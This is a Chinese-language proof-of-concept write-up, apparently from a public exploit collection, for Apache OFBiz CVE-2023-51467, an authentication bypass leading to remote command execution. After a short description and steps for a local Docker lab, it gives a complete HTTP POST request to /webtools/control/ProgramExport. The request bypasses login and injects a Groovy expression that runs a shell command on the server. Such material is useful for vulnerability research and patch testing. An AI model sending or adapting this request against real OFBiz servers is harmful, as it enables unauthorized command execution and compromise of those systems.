Awesome-POC/开发框架漏洞/Apache OfBiz 鉴权绕过导致命令执行 CVE-2023-51467.md
2024-11-06 14:10:36 +08:00

56 lines
2.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache OfBiz 鉴权绕过导致命令执行 CVE-2023-51467
## 漏洞描述
Apache OFBiz 是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新 J2EE/XML 规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类 WEB 应用系统的框架。 OFBiz 最主要的特点是 OFBiz 提供了一整套的开发基于 Java 的 web 应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
这个漏洞的原因是对于 [CVE-2023-49070](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-49070) 的不完全修复。在 Apache OFBiz 18.12.10 版本中,官方移除了可能导致 RCE 漏洞的 XMLRPC 组件,但没有修复权限绕过问题。来自长亭科技的安全研究员利用这一点找到了另一个可以导致 RCE 的方法Groovy 表达式注入。
参考连接:
- [https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa](https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa)
- [https://xz.aliyun.com/t/13211](https://xz.aliyun.com/t/13211)
- [https://y4tacker.github.io/](https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/)
## 环境搭建
Vulhub 执行如下命令启动一个 Apache OfBiz 18.12.10 服务器:
```
docker compose up -d
```
在等待数分钟后,访问 `https://your-ip:8443/accounting` 查看到登录页面,说明环境已启动成功。
如果是非本地 localhost 启动Headers 需要包含 `Host: localhost`,否则报错:
```
ERROR MESSAGE
org.apache.ofbiz.webapp.control.RequestHandlerException: Domain xx.xx.xx.xx not accepted to prevent host header injection. You need to set host-headers-allowed property in security.properties file.
```
![](images/Apache%20OfBiz%20鉴权绕过导致命令执行%20CVE-2023-51467/image-20240104105738488.png)
## 漏洞复现
直接发送如下请求即可使用 Groovy 脚本执行 `id` 命令:
> Host: localhost
```
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
```
![](images/Apache%20OfBiz%20鉴权绕过导致命令执行%20CVE-2023-51467/image-20240104105846768.png)